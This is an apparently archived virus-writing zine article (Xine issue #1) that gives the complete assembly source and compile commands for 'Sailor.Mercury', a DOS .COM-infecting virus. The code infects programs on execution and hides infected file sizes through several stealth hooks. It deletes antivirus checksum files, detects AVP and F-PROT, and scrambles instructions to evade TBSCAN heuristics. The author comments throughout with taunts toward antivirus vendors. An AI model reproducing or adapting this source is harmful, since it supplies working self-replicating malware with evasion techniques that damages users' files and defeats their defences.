home *** CD-ROM | disk | FTP | other *** search
-
- /-----------------------------\
- | Xine - issue #1 - Phile 019 |
- \-----------------------------/
-
-
- ;
- ;
- ; b0z0 of the -iKx-
- ; present
- ; Sailor.Mercury
- ;
- ; hyo guys
- ; this is my first virus that i release to the public... so don't be too
- ; hard when feedbacking something :) Sailor.Mercury is the first virus of
- ; the Pretty Soldiers Sailor family... if you dunno who the Pretty Soldiers
- ; are then IN THE NAME OF THE MOON I'LL PUNISH YOU! :)
- ; i hope to be around enough to complete all the family... we'll see ;)
- ; the code in some parts isn't optimized at all. infact like you will notice
- ; at the comments i scrambled a little some passes to hide some heuristic
- ; flags from the various lame avs. the virus isn't encrypted... that's simply
- ; because i am not in this moment able to write a decent encryption engine...
- ; i tried with some standard xor and so on but this only gave a lot of
- ; warnings. and anyway the avs will put the decrypt procedure as a search
- ; string in the same manner that they will put a piece of the unencrypted
- ; virus... all the length stealth routines are based only on the check of
- ; the file size (must be < 64k of course) and file time (30 secs).
- ;
- ; And now as usual some tech infos about the virus:
- ; - TSR .com infector
- ; - infects on execute (4bh)
- ; - infects files longer than 1024 and shorter than 64000
- ; - stealth features (disabled when AVP or FPROT or tools like
- ; CHKDSK or SCANDISK are running)
- ; * fcb stealth (on 11h/12h)
- ; * dta stealth (on 4eh/4fh)
- ; * get/set interrupt 21h stealth (on 3521h/2521h)
- ; * size stealth on lseek calls 4202h (when seeking from end)
- ; - general int24h error handler
- ; - some retro structures
- ; * deletes msd0g chklist.ms on each succesfull infection
- ; * deletes tbav checksums
- ; - antibait code
- ; * doesn't infect files created today (checking only day, no mnth...)
- ; * doesn't infect files which lenght is divisible by 512
- ; * doesn't infect files which lenght is divisible by 1000
- ; - antidebug code
- ;
- ; To compile:
- ; TASM /M2 MERCURY.ASM
- ; TLINK /T MERCURY
- ;
- ;
-
- mercury segment
- assume cs:mercury,ds:mercury,es:mercury
-
- org 100h
- start:
- call tbscan ;final fool for tbscan :)
- call antidebug ;fool fprot
- call delta ;calculate delta offset
- delta:
- mov bp,sp
- mov bx,[bp]
- mov bp,bx
- sub bp,offset delta ;calculate delta offset
- res_check:
- mov ax,3726h ;installation check
- int 21h
- cmp ax,374ch
- jnz go_resident
- call restore_COM ;restore the original com
- go_resident:
- push cs
- mov ax,3521h ; get int 21 adress
- int 21h
- mov word ptr [bp + old_int21_off],bx
- mov word ptr [bp + old_int21_seg],es
- pop es
-
- mov ah,4ah ;request too much mem
- mov bx,0ffffh
- int 21h ;in BX max mem avaiable
-
- sub bx,((end_vir-start+0fh)/10h)+1 ;shrink block
- mov ah,4ah
- int 21h ;ES = block segment
-
- mov ah,48h
- mov bx,((end_vir-start+0fh)/10h) ;allocate needed mem
- int 21h ;AX = free segment
-
- dec ax
- mov es,ax ;ES = new MCB
-
- push es
- push ax
- mov ax,cs
- dec ax ;MCB of the previous block
- mov es,ax
- mov byte ptr es:[0],'Z' ;mark the previous as the last
- pop ax ;so mem /debug won't see us
- pop es
-
- mov si,offset start ;ds:si = virus
- add si,bp
- sub ax,0fh
- mov es,ax ;es:di = place for the virus
- mov di,0ffh ;ds:si --> es:di
- inc di ;damn tbscan :)
- mov cx,offset end_vir - offset start
- cld
- rep movsb ; Copy the virus
- push es
-
- mov ax,2621h ; install our interrupt handler
- dec ah ; fuck TBSCAN memres scan flag
- pop ds
- mov dx,[offset int21_handler]
- int 21h
- restore_COM:
- pop es ;this adjust the stack from the
- ;calculation of the delta offset
- ;anyway i think that anything would
- ;work also fine without this
- push cs ;give again control to the program
- pop es
- push es
- pop ds
- mov di,0ffh ;like mov di,100h but in this
- inc di ;way tbscan won't issue 'O' flag
- lea si,[bp+old_jump] ;restore first four bytes
- push di
- movsw
- movsw
- pop ax
- jmp ax
- lsend:
- pushf
- push cs ;we must return home later :)
- call doint21 ;do the int21h
- jc notnf
- cmp dx,00h
- jnz notnf ;COMs are < 65k so if dx<>0 then
- ;maybe isn't a .COM
- push ax ;save length infos
- push cx
- push dx
- mov ax,5700h ;get date-time
- int 21h
- and cl,1fh ;our time-marker?
- xor cl,0fh
- pop dx
- pop cx
- pop ax ;restore infos
- jnz notnf ;if not infected leave
- sub ax,(end_vir-start) ;is infected? hide the size!
- notnf:
- retf 2
- fcbstealth:
- pushf
- push cs
- call doint21
- or al,al ;dir sucessfull??
- jnz leave_dir ;no? leave all
-
- push es
- push bx
- push ax
- mov ah,51h ;get psp
- int 21h
- mov es,bx
- cmp bx,es:[16h] ;is the PSP ok??
- jnz error
-
- mov bx,dx
- mov al,[bx] ;al<--current drive
- push ax ;look 4 extended FCB
- mov ah,2fh ;get dta area
- int 21h
- pop ax
- inc al ;=ffh
- jnz no_ext ;extended fcb?
- add bx,7
- no_ext:
- cmp word ptr es:[bx+1fh],00h ;is > 65k?
- jnz error ;yup.. leave
- mov al,byte ptr es:[bx+17h] ;seconds field
- and al,1fh
- xor al,0fh ;is file infected?
- jnz error
- hide:
- sub word ptr es:[bx+1dh],(end_vir-start) ;hide size
- error:
- pop ax
- pop bx
- pop es
- leave_dir:
- retf 2
- int21_handler:
- cmp ax,3726h ;installation check
- jne no_check
- add al,al
- iret
- no_check:
- cmp ah,32h
- jne dsnn
- mov byte ptr cs:[disste],00h
- dsnn:
- cmp ah,4ch ;program ending?
- je re_stealth ;reput stealth if we disabled it
-
- cmp byte ptr cs:[disste],01h ;if AVs runs disable
- je doint21 ;stealth/infect
-
-
- push bx
- mov bh,12h ;bye bye tbscan X flag :)
- cmp ah,bh
- pop bx
- je fcbstealth
-
- cmp ah,11h
- je fcbstealth
-
- cmp ax,4202h
- jne nofend
- cmp cl,4dh ;is our call?
- jne nofend
- jmp lsend
- nofend:
- cmp ax,3521h ;get int21h stealth
- je reqint21
-
- cmp ax,2521h ;set int21h stealth
- je setint21
-
- cmp ah,4eh
- je dtastealth
-
- cmp ah,4fh
- je dtastealth
-
- push bx
- mov bh,4bh ;re-g'bye tbscan ];)
- cmp ah,bh
- pop bx
- je infect
- doint21:
- jmp cs:old_int21
- old_int21 label dword
- old_int21_off dw ? ;original int21 offset
- old_int21_seg dw ? ;original int21 segment
-
- reqint21:
- mov es,word ptr cs:[old_int21_seg] ;give original int21h
- mov bx,word ptr cs:[old_int21_off] ;instead of our
- iret
- setint21:
- mov word ptr cs:[old_int21_seg],ds ;we will stay always
- mov word ptr cs:[old_int21_off],dx ;on the top :)
- iret
- re_stealth:
- mov byte ptr cs:[disste],00h ;reenable stealth
- jmp cs:old_int21
- dtastealth:
- pushf
- push cs ;save for the return
- call doint21 ;do the call
- jc nomatches
-
- pushf
- push ax
- push es
- push bx
-
- mov ah,2fh ;open dta
- int 21h
-
- cmp word ptr es:[bx+1ch],00h ;is file > 64k?
- jnz not_inf ;yup.. isn't a COM
- mov ax,es:[bx+16h] ;file time secs
- and al,1fh
- xor al,0fh
- jnz not_inf ;is our marker?
- sub es:[bx+1ah],(end_vir-start) ;hide file size
- not_inf:
- pop bx
- pop es
- pop ax
- popf
- nomatches:
- retf 2
- infect:
- pushf
- push ax
- push bx
- push cx
- push dx
- push es
- push ds
- push bp
- push si
- push di
-
- push ds
- push dx
- mov ax,3524h ;get int24h seg and off
- int 21h
- mov word ptr cs:[old_int24_off],bx ;store them
- mov word ptr cs:[old_int24_seg],es
-
- push cs
- pop ds
- mov dx,offset int24_handler ;put our int24h
- mov ax,2524h
- int 21h
- pop dx
- pop ds
-
- push di
- push dx
- pop di
- sloop:
- inc di
- cmp byte ptr ds:[di],'.'
- jne sloop ;search for '.'
- sub di,02h
- cmp word ptr ds:di,'PV' ;is AVP?
- jne protest
- avrun:
- mov byte ptr cs:[disste],01h ;yup... so disable get/set
- jmp ahead ;interrupt stealth so he
- protest: ;would notice us
- cmp word ptr ds:di,'OR' ;is AVPRO?
- je avrun
- cmp word ptr ds:di,'TO' ;is f-prot running?
- je avrun ;so it won't find us
- ahead:
- pop di
- mov ax,4300h ;get file attributes
- int 21h
-
- push cx ;save attributes
- push ds
- push dx
- sub cx,cx
- call set_attr ;erase all attributes
-
- mov ax,3d02h ;open file for rw
- int 21h
- jnc continue
- jmp exit_infect2
- continue:
- mov bx,ax ;bx<--file handle
- push cs
- pop ds
-
- mov ax,5700h ;get date-time
- int 21h
- push cx ;store date/time on stack
- push dx
-
- push dx
- mov ah,2bh ;get today's date
- dec ah ;hiho tbscan ;)
- int 21h
- pop cx
- and cl,01fh ;take only day from full date
- cmp cl,dl ;is the same as today?
- jz exitjump ;hmmm... maybe a bait...
-
- mov ah,3fh ;read from file
- mov cx,4 ;four bytes
- mov dx,offset old_jump ;in our buffer
- int 21h
-
- cmp byte ptr old_jump,'M' ;exe?
- je exitjump
- cmp byte ptr old_jump,0e9h ;is there a jump?
- jne goahead
- cmp byte ptr old_jump+3,26h ;is our marker?
- exitjump:
- je exit_infect
- goahead:
- push dx
- sub cx,cx
- lea dx,crca
- call retro
- lea dx,crcb
- call retro
- pop dx
-
- mov cl,4dh ;our marker
- mov ax,4202h ;go to the end of the file
- cwd
- sub cx,cx
- int 21h
-
- cmp ax,0fa00h ;don't infect files >64000
- ja exit_infect
-
- cmp ax,1024 ;don't infect files <=1024
- jbe exit_infect
-
- mov cx,ax
- and cx,01ffh ;if divisible by 512 leave
- jz exit_infect ;it's, probably a bait!
-
- push ax
- mov cx,1000 ;is length divisible by 1000??
- div cx ;hmmm suspicious... there is
- or dx,dx ;a bait near here... :)
- pop ax
- jz exit_infect
-
- sub ax,3
- mov word ptr new_jump + 1, ax ;calculate new jump
-
- mov ah,3fh ;copy da virus
- inc ah
- mov cx,(end_vir-start)
- mov dx,offset start
- int 21h
-
- xor al,al ;go at start
- mov ah,42h
- cwd
- mov cx,0
- int 21h
-
- mov cx,4 ;copy new jump
- mov ah,3fh ;at the start
- inc ah
- mov dx,offset new_jump
- int 21h
-
- pop dx ;restore date/time from stack
- pop cx
- mov ax,5601h ;set date
- inc ah ;damn tbscan
- and cl,0e0h ;marker for fcb stealth
- add cl,0fh
- int 21h
-
- push ds ;correct stack if not infection
- push bx ;occoured
- exit_infect:
- pop bx
- pop ds
- mov ah,3eh ;close file
- int 21h
- exit_infect2:
- pop dx ;restore file attributes
- pop ds
- pop cx
- call set_attr ;reput old file attributes
-
- mov ax,2524h
- mov ds,cs:[old_int24_seg]
- mov dx,cs:[old_int24_off]
- int 21h ; restore int24h
-
- pop di ;restore registers
- pop si
- pop bp
- pop ds
- pop es
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- jmp doint21
- old_jump db 0cdh,20h,00h,00h ;old com jump
- virus db 0,'Sailor.Mercury',0
- author db '-b0z0/iKx-',0
- new_jump db 0e9h,00h,00h,26h ;space for the new jump + mark
- set_attr:
- mov ax,4201h ;set attributes
- inc ah ;fuck tbscan F flag
- int 21h
- ret
- tbscan:
- mov ax,0305h ;fool tbscan :)
- sub bx,bx
- int 16h ;the final shoot for it ;)
- ret
- antidebug:
- mov cx,0aebh ;prevent debugging
- inc bp ;shit for fprot :)
- mov ax,0fe05h
- jmp $-2
- add ah,03bh
- jmp $-11
- int 21h
- ret
- int24_handler:
- mov al,03h
- iret
- retro:
- call set_attr ;deletes file in ds:dx
- mov ah,41h
- int 21h
- ret
-
- crca db 'ANTI-VIR.DAT',0 ;what will we delete ;)
- crcb db 'CHKLIST.MS',0 ;the only 2 that i saw in to be used
- end_vir:
-
- disste db 00h ;get/set int enable/disable
- old_int24_off dw ? ;original int24 offset
- old_int24_seg dw ? ;original int24 segment
-
- mercury ends
- end start
-